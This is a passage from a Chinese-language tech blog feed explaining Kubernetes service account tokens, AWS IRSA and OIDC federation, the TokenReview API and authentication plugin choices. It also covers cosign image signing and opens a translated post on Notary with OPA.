&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3&#34; target=&#34;_blank&#34;&gt;aud&lt;/a&gt;：受众。这个 Token 对当前 Kubernetes 集群生效。&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1&#34; target=&#34;_blank&#34;&gt;iss&lt;/a&gt;：签发者。因为这个 Token 是当前 Kubernetes 签发的，所以取值为当前集群的域名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubernetes.io&lt;/code&gt;：自定义字段，用于描述 Kubernetes 的细节。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;从 Nginx Pod 中读取 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;aud&amp;quot;: [
    &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;
  ],
  &amp;quot;exp&amp;quot;: 1686617744,
  &amp;quot;iat&amp;quot;: 1655081744,
  &amp;quot;iss&amp;quot;: &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;,
  &amp;quot;kubernetes.io&amp;quot;: {
    &amp;quot;namespace&amp;quot;: &amp;quot;default&amp;quot;,
    &amp;quot;pod&amp;quot;: {
      &amp;quot;name&amp;quot;: &amp;quot;nginx&amp;quot;,
      &amp;quot;uid&amp;quot;: &amp;quot;a11defcb-f510-4d49-9c4f-2e8e8da1c33c&amp;quot;
    },
    &amp;quot;serviceaccount&amp;quot;: {
      &amp;quot;name&amp;quot;: &amp;quot;test&amp;quot;,
      &amp;quot;uid&amp;quot;: &amp;quot;6af2abe9-d8d8-4b8a-9bb5-3cc96442b322&amp;quot;
    },
    &amp;quot;warnafter&amp;quot;: 1655085351
  },
  &amp;quot;nbf&amp;quot;: 1655081744,
  &amp;quot;sub&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Payload 中包含了 Pod 的名字和 UUID。但是这些信息是谁在消费呢？&lt;/p&gt;

&lt;p&gt;不仅能够检查 Token 的完整性和有效性，甚至还可以区分出同一个 Deployment 中的两个 Pod 的区别。&lt;/p&gt;

&lt;p&gt;这个功能很有用，原因是：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;授权粒度精细到特定 Pod&lt;/li&gt;
&lt;li&gt;特定身份被攻破，也只会影响单一单元&lt;/li&gt;
&lt;li&gt;从一个 API 调用就能够知道其中包含的命名空间和 Pod&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;aws-如何将-iam-集成到-kubernetes&#34;&gt;AWS 如何将 IaM 集成到 Kubernetes&lt;/h2&gt;

&lt;p&gt;设想一个场景，在 AWS 中运行 Kubernetes 集群之中，并希望从集群中上传文件到 S3 的场景。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意在 &lt;a href=&#34;https://azure.github.io/azure-workload-identity/docs/&#34; target=&#34;_blank&#34;&gt;Azure&lt;/a&gt; 和 &lt;a href=&#34;https://cloud.google.com/config-connector/docs/overview&#34; target=&#34;_blank&#34;&gt;GCP&lt;/a&gt; 也存在同等能力。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;通常来说，需要用一个角色来完成这一任务，但是 AWS 的 IAM 角色只能赋予给计算实例、而非 Pod，换句话说，AWS 对 Pod 并无认知。&lt;/p&gt;

&lt;p&gt;2019 年底，AWS 提供了一种原生的 Kubernetes 集成 IAM 的机制，被称为 &lt;a href=&#34;https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html&#34; target=&#34;_blank&#34;&gt;IAM Roles for Service Accounts (IRSA)&lt;/a&gt;，IRSA 在身份和 Projected Service Account Token 之间建立了联系。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;创建一个 IAM 策略，其中包含了允许访问的资源&lt;/li&gt;
&lt;li&gt;创建一个角色，其中包含了上一步中的策略，记录其 &lt;code&gt;ARN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建一个 Projected Service Account Token，并用文件的方式进行加载&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;把 Role ARN 和 Projected Service Account Token 呈现在 Pod 的环境变量之中：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Pod
metadata:
  name: myapp
spec:
  serviceAccountName: my-serviceaccount
  containers:
  - name: myapp
    image: myapp:1.2
    env:
    - name: AWS_ROLE_ARN
      value: arn:aws:iam::111122223333:policy/my-role
    - name: AWS_WEB_IDENTITY_TOKEN_FILE
      value: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
    volumeMounts:
    - mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
      name: aws-iam-token
      readOnly: true
  volumes:
  - name: aws-iam-token
    projected:
      defaultMode: 420
      sources:
      - serviceAccountToken:
          audience: sts.amazonaws.com
          expirationSeconds: 86400
          path: token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有了这一配置，就能向 S3 上传文件了。&lt;/p&gt;

&lt;p&gt;应用会使用这两个环境变量作为连接到 S3 所需要的 Token，但是如何实现的呢？&lt;/p&gt;

&lt;p&gt;是 Kubernetes 而非 AWS 生成了 Token，那么 AWS 如何知道 Token 的有效性呢——是的 AWS 不知道。&lt;/p&gt;

&lt;p&gt;AWS SDK 使用角色 ARN 以及 Projected Service Account Token 来交换标准的 AWS 访问凭据。&lt;/p&gt;

&lt;p&gt;如果不用 AWS SDK 又怎么办呢？应用程序向 AWS IAM 发起请求，&lt;a href=&#34;https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html&#34; target=&#34;_blank&#34;&gt;为当前身份（Service Account）换取一个角色&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;IAM 收到这个 Token 后，会进行解压并检查 iss 字段，来判断 JWT Token 的合法性。&lt;/p&gt;

&lt;p&gt;这个字段通常会被配置为用于创建该 Token 的公钥。&lt;/p&gt;

&lt;p&gt;前面说过，这个 URL 指向 Kubernetes 集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;{
  &amp;quot;aud&amp;quot;: [
    &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;
  ],
  &amp;quot;exp&amp;quot;: 1686617744,
  &amp;quot;iat&amp;quot;: 1655081744,
  &amp;quot;iss&amp;quot;: &amp;quot;https://kubernetes.default.svc.cluster.local&amp;quot;,
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意，需要把这个 URL 改成一个完全限定名（FQDN），否则 AWS IAM 无法触达。&lt;a href=&#34;https://azure.github.io/azure-workload-identity/docs/installation/self-managed-clusters/configurations.html&#34; target=&#34;_blank&#34;&gt;可以用 &lt;code&gt;--service-account-issuer&lt;/code&gt; 参数来指定&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;这个 URL 是一个标准的 OIDC Provider，AWS IAM 会查看两个路径：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;{Issuer URL}/.well-known/openid-configuration&lt;/code&gt;：又被称为 OIDC 发现文档。其中包含了签发者的配置元数据&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{Issuer URL}/openid/v1/jwks&lt;/code&gt;：其中包含了签名公钥，用于验证 Service Account Token 的真实性&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;要注意，缺省情况下，这两个端点是不会暴露的，需要集群管理员进行设计。&lt;/p&gt;

&lt;p&gt;首先看看 JWKS 端点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;curl {Issuer URL}/openid/v1/jwks
  &amp;quot;keys&amp;quot;: [
    {
      &amp;quot;use&amp;quot;: &amp;quot;sig&amp;quot;,
      &amp;quot;kty&amp;quot;: &amp;quot;RSA&amp;quot;,
      &amp;quot;kid&amp;quot;: &amp;quot;ZO4TUgVjBzMWKVP8mmBwKLvsuyn8z-gfqUp27q9lO4w&amp;quot;,
      &amp;quot;alg&amp;quot;: &amp;quot;RS256&amp;quot;,
      &amp;quot;n&amp;quot;: &amp;quot;34a81xuMe…&amp;quot;,
      &amp;quot;e&amp;quot;: &amp;quot;AQAB&amp;quot;
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;AWS IAM 会收到公钥，并校验 Token。&lt;a href=&#34;https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-tokens-verifying-a-jwt.html&#34; target=&#34;_blank&#34;&gt;下面的代码&lt;/a&gt;用于校验：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-js&#34;&gt;var jwt = require(&#39;jsonwebtoken&#39;)
var jwkToPem = require(&#39;jwk-to-pem&#39;)
var pem = jwkToPem(jwk /* &amp;quot;kid&amp;quot; value from the jkws file */)
jwt.verify(token /* this is the token to verify */, pem, { algorithms: [&#39;RS256&#39;] }, function(err, decodedToken) {
  // rest of the code
})
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果 Token 有效，就生成一个具备指定权限的 Access Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
    &amp;quot;Credentials&amp;quot;: {
        &amp;quot;AccessKeyId&amp;quot;: &amp;quot;ASIAWY4CVPOBS4OIBWNL&amp;quot;,
        &amp;quot;SecretAccessKey&amp;quot;: &amp;quot;02n52u8Smc76…&amp;quot;,
        &amp;quot;SessionToken&amp;quot;: &amp;quot;IQoJb3JpZ…&amp;quot;,
        &amp;quot;Expiration&amp;quot;: &amp;quot;2022-06-13T10:50:25+00:00&amp;quot;
    },
    &amp;quot;SubjectFromWebIdentityToken&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;,
    &amp;quot;AssumedRoleUser&amp;quot;: {
        &amp;quot;AssumedRoleId&amp;quot;: &amp;quot;AROAWY4CVPOBXUSBA5C2B:test&amp;quot;,
        &amp;quot;Arn&amp;quot;: &amp;quot;arn:aws:sts::[aws account id]:assumed-role/oidc/test&amp;quot;
    },
    &amp;quot;Provider&amp;quot;: &amp;quot;arn:aws:iam::[aws account id]:oidc-provider/[bucket name].s3.amazonaws.com&amp;quot;,
    &amp;quot;Audience&amp;quot;: &amp;quot;test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;拿到新凭据后，就可以用来访问 S3 存储桶了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/exchange.png&#34; alt=&#34;exchange&#34; /&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Projected Serivce Account Token 代表一个集群内有效的身份它可以用来交换到一个其他场景下有效的 Token&lt;/li&gt;
&lt;li&gt;AWS IaM 服务收到这个 Token，并读取其 &lt;code&gt;iss&lt;/code&gt; 字段的内容，用于验证 Token&lt;/li&gt;
&lt;li&gt;如果身份有效，就签发自己的 Token&lt;/li&gt;
&lt;li&gt;可以使用新的 Token 访问 AWS 的服务&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;另外还有一篇文章，完整的描述了&lt;a href=&#34;https://dev.to/danielepolencic/binding-aws-iam-roles-to-kubernetes-service-account-for-on-prem-clusters-1icc&#34; target=&#34;_blank&#34;&gt;手工进行集成的过程&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;这种方式可以用于访问外部资源，然而访问内部服务时，是否也需要这样操作呢?&lt;/p&gt;

&lt;h2 id=&#34;使用-token-review-api-校验-projected-service-account&#34;&gt;使用 Token Review API 校验 Projected Service Account&lt;/h2&gt;

&lt;p&gt;可以用 &lt;a href=&#34;https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-review-v1/&#34; target=&#34;_blank&#34;&gt;Token Review API&lt;/a&gt; 来对集群创建的 Token 进行校验。&lt;/p&gt;

&lt;p&gt;首先为 Service Account 创建一个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl create token test
eyJhbG…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;创建 YAML 资源，并在其中包含 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: TokenReview
apiVersion: authentication.k8s.io/v1
metadata:
  name: test
spec:
  token: eyJhbG… # &amp;lt;- token
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交资源，注意 &lt;code&gt;-o yaml&lt;/code&gt; 输出的内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl apply -o yaml -f token.yaml
apiVersion: authentication.k8s.io/v1
kind: TokenReview
metadata:
  name: test
spec:
  token: eyJhbG…
status:
  audiences:
    - https://kubernetes.default.svc.cluster.local
  authenticated: true
  user:
    groups:
      - system:serviceaccounts
      - system:serviceaccounts:default
      - system:authenticated
    uid: eccac137-25e2-4e84-9d83-18b2f9c5e5af
    username: system:serviceaccount:default:test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Token Review API 的工作内容和 AWS IAM 集成类似：校验身份，并从 Token 中获取细节。当然，单一的 API 调用比 OIDC 流程要简单直接得多。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://learnk8s.io/microservices-authentication-kubernetes&#34; target=&#34;_blank&#34;&gt;还可以使用定制 Audience 的方式来限制访问范围&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;用-kubernetes-1-24-或者更高版本生成-service-account-的-secret&#34;&gt;用 Kubernetes 1.24 或者更高版本生成 Service Account 的 Secret&lt;/h2&gt;

&lt;p&gt;从 1.24 开始，Kubernetes 不再为 ServiceAccount 自动生成 Secret。然而你还是可以使用传统的方式来创建 Service Account 并用注解的方式来附加给一个 Secret。&lt;/p&gt;

&lt;p&gt;例如当前的 Service Account &lt;code&gt;test&lt;/code&gt; 中没有 &lt;code&gt;secret&lt;/code&gt; 对象。但是可以创建用这种方式创建 &lt;code&gt;Secret&lt;/code&gt; （和 &lt;code&gt;token&lt;/code&gt;）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Secret
type: kubernetes.io/service-account-token
metadata:
  name: test
  annotations:
    kubernetes.io/service-account.name: &amp;quot;test&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交给集群之后，进行观察：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe secret test

Name:         test
Namespace:    default

Type:  kubernetes.io/service-account-token

Data
====
ca.crt:     1111 bytes
namespace:  7 bytes
token:      eyJhbG…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;还可以用 Token Review API 来校验这个 Token：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: TokenReview
apiVersion: authentication.k8s.io/v1
metadata:
  name: test
spec:
  token: eyJhbG…
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交对象，并加入 &lt;code&gt;-o yaml&lt;/code&gt; 开关：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;$ kubectl apply -o yaml -f token.yaml

apiVersion: authentication.k8s.io/v1
kind: TokenReview
metadata:
  name: test
spec:
  token: eyJhbG…
status:
  audiences:
  - https://kubernetes.default.svc.cluster.local
  authenticated: true
  user:
    groups:
    - system:serviceaccounts
    - system:serviceaccounts:default
    - system:authenticated
    uid: eccac137-25e2-4e84-9d83-18b2f9c5e5af
    username: system:serviceaccount:default:test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果把 Token 内容提交给 &lt;a href=&#34;https://jwt.io/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;jwt.io&lt;/code&gt;&lt;/a&gt;，会发现 Token 没有过期时间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;
{
  &amp;quot;iss&amp;quot;: &amp;quot;kubernetes/serviceaccount&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/namespace&amp;quot;: &amp;quot;default&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/secret.name&amp;quot;: &amp;quot;test&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/service-account.name&amp;quot;: &amp;quot;test&amp;quot;,
  &amp;quot;kubernetes.io/serviceaccount/service-account.uid&amp;quot;: &amp;quot;eccac137-25e2-4e84-9d83-18b2f9c5e5af&amp;quot;,
  &amp;quot;sub&amp;quot;: &amp;quot;system:serviceaccount:default:test&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这种情况和 Kubernetes 的传统行为是一致的。&lt;/p&gt;

&lt;h2 id=&#34;认证插件的选择&#34;&gt;认证插件的选择&lt;/h2&gt;

&lt;p&gt;Kubernetes 提供了以下的认证插件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;静态 Token 文件&lt;/li&gt;
&lt;li&gt;X.509 证书&lt;/li&gt;
&lt;li&gt;Open ID Connect&lt;/li&gt;
&lt;li&gt;Authentication proxy&lt;/li&gt;
&lt;li&gt;Webhook&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如何选择呢？&lt;/p&gt;

&lt;p&gt;在前面一节里，我们讨论了静态 Token 文件的限制：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;需要知道用户名&lt;/li&gt;
&lt;li&gt;修改 CSV 文件需要重启 API Server 才能生效&lt;/li&gt;
&lt;li&gt;Token 不会过期&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;因此静态 Token 文件不是生产环境中的最佳选择。&lt;/p&gt;

&lt;p&gt;X.509 客户端证书方案会略微好一些。&lt;/p&gt;

&lt;p&gt;使用 X.509 客户端证书认证：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;kube-apiserver&lt;/code&gt; 使用 &lt;code&gt;--client-ca-file=FILE&lt;/code&gt; 参数来指定 CA&lt;/li&gt;
&lt;li&gt;管理员为外部用户签发客户端证书。这些 X.509 客户端证书是自包含的，其中包含了用户名和用户组&lt;/li&gt;
&lt;li&gt;用户使用这个证书，用 TLS 方式发起对 API Server 的访问&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kube-apiserver&lt;/code&gt; 用 CA 证书对客户端证书进行认证，如果有效，则解析其中包含的用户名和用户组。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;工作流和静态 Token 类似，但还是有些区别：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;证书可以设置有效期&lt;/li&gt;
&lt;li&gt;创建新的客户端证书，无需修改 API Server 参数&lt;/li&gt;
&lt;li&gt;没有 CSV 文件，证书用 CRD 定义的方式来管理&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;然而，&lt;a href=&#34;https://www.tremolosecurity.com/post/kubernetes-dont-use-certificates-for-authentication&#34; target=&#34;_blank&#34;&gt;X.509 客户端证书也并不是一个值得推荐的方案&lt;/a&gt;。&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;X.509 客户端证书通常是很长寿（以年计）&lt;/li&gt;
&lt;li&gt;CA 基础设施提供了作废证书的途径，但是 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/issues/18982&#34; target=&#34;_blank&#34;&gt;Kubernetes 不支持过期证书的检查&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;客户端证书是自包含的，因此用 RBAC 进行分组非常难&lt;/li&gt;
&lt;li&gt;为了对客户进行认证，必须点对点的连接 API Server，不能使用反向代理或者 WAF 防火墙。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;（临时）没有其它机制可用的应急场景下，正适合使用 X.509 认证方法。&lt;/p&gt;

&lt;p&gt;Kubeadm 和 OpenShift 缺省会设置 API Server 的证书认证能力，这样本地的 Kubectl 就可以使用了。&lt;/p&gt;

&lt;p&gt;除了上面的特例之外，可能最好的方式就是 OIDC 认证了。如果已经有了用于管理用户的 OpenID Connect 的基础设施，那就尤其合适了。这种情况下，可以用管理普通用户的方式来管理 Kubernetes 中的用户。&lt;/p&gt;

&lt;p&gt;OpenID Connect Provider 能够签发 &lt;a href=&#34;https://jwt.io/&#34; target=&#34;_blank&#34;&gt;JSON Web Token（JWT）&lt;/a&gt;，这意味着 Token 能够自动认证，无需连接到 Token 的签发方，并且会过期。&lt;/p&gt;

&lt;p&gt;最后两种认证插件是：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;认证代理&lt;/li&gt;
&lt;li&gt;Webhook&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#authenticating-proxy&#34; target=&#34;_blank&#34;&gt;认证代理&lt;/a&gt; 插件能够通过外部的认证代理进行透明的认证。&lt;/p&gt;

&lt;p&gt;当用户向 Kubernetes 集群发起请求时，请求首先会被认证代理进行处理。这种认证插件可以编写自己的认证逻辑，因此用来实现其它插件不支持的认证方式是很合适的。&lt;/p&gt;

&lt;p&gt;最后 &lt;a href=&#34;https://kubernetes.io/docs/reference/access-authn-authz/authentication/#webhook-token-authentication&#34; target=&#34;_blank&#34;&gt;Webhook Token&lt;/a&gt; 认证插件让用户能够用 &lt;a href=&#34;https://swagger.io/docs/specification/authentication/bearer-authentication/&#34; target=&#34;_blank&#34;&gt;HTTP Bearer Token&lt;/a&gt; 的方式，对 Kubernetes 请求进行自定义认证逻辑。&lt;/p&gt;

&lt;p&gt;Webhook Token 认证插件也同样适用于没有其它机制可用的场景。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;p&gt;本文中阐述了 Kubernetes API Server 认证用户的能力。内容大致包括&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;外部用户和内部用户的区别&lt;/li&gt;
&lt;li&gt;Kubernetes API Server 如何实现不同的用户认证方法，例如静态 Token、Bearer Token、X.509 证书、OIDC 等&lt;/li&gt;
&lt;li&gt;Kubernetes 如何使用 Service Account 为内部用户授予身份&lt;/li&gt;
&lt;li&gt;使用 Secret 创建的 Token，和 Kubelet 创建的 Token 有什么区别&lt;/li&gt;
&lt;li&gt;Projected Volume 把多个卷聚合到一起的方法&lt;/li&gt;
&lt;li&gt;如何用 JWT 工具查看 Service Account Token&lt;/li&gt;
&lt;li&gt;和 OIDC 联邦，并且和 AWS 之类的云供应商进行集成的方式&lt;/li&gt;
&lt;li&gt;如何使用 API Review API 来校验 Service Account Token 的有效性。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;认证通过后，就进入鉴权环节了。然后可以阅读 &lt;a href=&#34;https://learnk8s.io/microservices-authentication-kubernetes&#34; target=&#34;_blank&#34;&gt;Authentication between microservices using Kubernetes identities&lt;/a&gt; 来里了解相关内容。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 环境中检查镜像签名的一种方法</title>
      <link>/post/that-is-my-image/</link>
      <pubDate>Sat, 20 Mar 2021 00:19:56 +0800</pubDate>
      <guid>/post/that-is-my-image/</guid>
      <description>

&lt;p&gt;Kubernetes 的供应链安全需求中，有一个重要的镜像签署和校验的环节，这个环节可以使用 &lt;a href=&#34;https://blog.fleeto.us/post/k8s-notary-and-opa/&#34; target=&#34;_blank&#34;&gt;OPA 结合 Notary&lt;/a&gt; 的方式来完成。最近 &lt;a href=&#34;https://training.linuxfoundation.cn/news/208&#34; target=&#34;_blank&#34;&gt;Linux基金会宣布免费 sigstore 签名服务，以确认软件的来源和真实性&lt;/a&gt;，在&lt;a href=&#34;https://sigstore.dev/&#34; target=&#34;_blank&#34;&gt;项目网站&lt;/a&gt;闲逛时，发现一个叫做 &lt;a href=&#34;https://github.com/sigstore/cosign&#34; target=&#34;_blank&#34;&gt;cosign&lt;/a&gt; 的子项目，这是个轻量级的选择，让我非常有兴趣，于是就有了本文。&lt;/p&gt;

&lt;h2 id=&#34;部署&#34;&gt;部署&lt;/h2&gt;

&lt;p&gt;目前这个工具还没有提供二进制发布，需要克隆源代码，并使用 &lt;strong&gt;go 1.5&lt;/strong&gt; 进行构建，具体方法请参阅项目页面。简单说就是&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# git clone https://github.com/sigstore/cosign.git
...
# cd cosign
# go build -o cosign ./cmd/cosign
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个工具的最基础功能有三个，分别是生成密钥对、镜像签名和校验签名。&lt;/p&gt;

&lt;h2 id=&#34;生成密钥对&#34;&gt;生成密钥对&lt;/h2&gt;

&lt;p&gt;这个功能是很直白的：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;cosign generate-key-pair
Enter password for private key:
Enter again:
Private key written to cosign.key
Public key written to cosign.pub
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行命令之后，输入密码，就会生成密钥对文件，私钥和公钥分别是 &lt;code&gt;consign.key&lt;/code&gt; 和 &lt;code&gt;cosign.pub&lt;/code&gt;。&lt;/p&gt;

&lt;h2 id=&#34;签名&#34;&gt;签名&lt;/h2&gt;

&lt;p&gt;可以使用前边生成的密钥对进行签名，例如我的工具镜像：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;cosign sign -key cosign.key dustise/sleep:v0.9.6
Enter password for private key:
Pushing signature to: index.docker.io/dustise/sleep:sha256-92dad62e00d08157a3921b7d7b568a247a8b24e8a067ad5dc20b210d7b1c2ad1.cosign
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;读者需要注意的一点是，这个功能是对&lt;strong&gt;仓库中镜像的哈希码&lt;/strong&gt;生效的，因此签署过程无需本地镜像的参与，cosign 会直接在镜像仓库中获取对应 tag 的 sha256 内容，签署之后生成一个 OCI 镜像推送到该镜像的原有仓库之中，例如前面为 &lt;code&gt;dustise/sleep:v0.9.6&lt;/code&gt; 进行签名，就生成了一个 &lt;code&gt;dustise/sleep:sha256-92da.....1c2ad1.cosign&lt;/code&gt; 的镜像。如果被签名镜像在本地不存在，在完成操作之后，使用 &lt;code&gt;docker images&lt;/code&gt; 命令查看，会发现被签署镜像和签署生成的镜像都不存在于本地。&lt;/p&gt;

&lt;p&gt;另外一个就是，因为这里有 Push 操作，因此这个签署过程通常是有登录镜像库的需求的。&lt;/p&gt;

&lt;h2 id=&#34;校验&#34;&gt;校验&lt;/h2&gt;

&lt;p&gt;校验过程很简单，使用 &lt;code&gt;verify&lt;/code&gt; 指令，指定公钥即可，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;cosign verify  -key cosign.pub dustise/sleep:v0.9.6
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - The signatures were verified against the specified public key
  - Any certificates were verified against the Fulcio roots.
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;注意&#34;&gt;注意&lt;/h2&gt;

&lt;p&gt;如果使用 cosign 来进行签署，过程基本上来说还算是愉快的，私钥放置在 CI 之中，而公钥则可以保存在集群里，简单一点的方式，使用客户端定期扫描；复杂的方式，可以实现一个简单的 admission controller 来根据 Selector 对负载进行校验，同样需要注意的是，cosign 只针对远程（镜像库）进行操作，对本地的同 Tag 替换是没什么防御力的，因此这里还要使用 Always Pull 的策略进行弥补（可以使用 Kyverno 或者 Gatekeeper 来强制实施）。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>用 Notary 和 OPA 在 Kubernetes 上使用内容签名</title>
      <link>/post/k8s-notary-and-opa/</link>
      <pubDate>Sat, 17 Oct 2020 01:18:58 +0800</pubDate>
      <guid>/post/k8s-notary-and-opa/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/@siegert.maximilian/ensure-content-trust-on-kubernetes-using-notary-and-open-policy-agent-485ab3a9423c&#34; target=&#34;_blank&#34;&gt;Ensure Content Trust on Kubernetes using Notary and Open Policy Agent&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/u/42543b7496a6?source=post_page-----485ab3a9423c--------------------------------&#34; target=&#34;_blank&#34;&gt;Daniel Geiger&lt;/a&gt; &lt;a href=&#34;https://medium.com/u/185afb909cc2?source=post_page-----485ab3a9423c--------------------------------&#34; target=&#34;_blank&#34;&gt;Maximilian Siegert&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;在 Kubernetes 上使用策略对部署行为进行限制，仅允许运行有签名的镜像。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我们希望借助本文，让读者了解到如何在 Kubernetes 中使用可信镜像，其中依赖两个著名的 CNCF 开源项目：Notary 和 OPA。主要思路是使用 OPA 策略来定义自己的内容限制策略。&lt;/p&gt;

&lt;p&gt;主要内容如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;完成示例的先决条件&lt;/li&gt;
&lt;li&gt;Notary 和镜像信任的基本概念&lt;/li&gt;
&lt;li&gt;在 Kubernetes 上安装 Kubernetes&lt;/li&gt;
&lt;li&gt;OPA 和 Admission Control 的基本概念&lt;/li&gt;
&lt;li&gt;在 Kubernetes 上安装 OPA&lt;/li&gt;
&lt;li&gt;定义 Validating Admission Control 控制内容信任&lt;/li&gt;
&lt;li&gt;定义 Mutating Admission Control 完成自动化&lt;/li&gt;
&lt;li&gt;总结和展望&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果读者已经熟知 Notary 或者 OPA 的相关内容，可以跳过上述的两节基本概念部分。&lt;/p&gt;

&lt;h2 id=&#34;完成示例的先决条件&#34;&gt;完成示例的先决条件&lt;/h2&gt;

&lt;p&gt;如果要遵循后续的安装步骤，需要下列准备：&lt;/p&gt;

&lt;ol&gt;
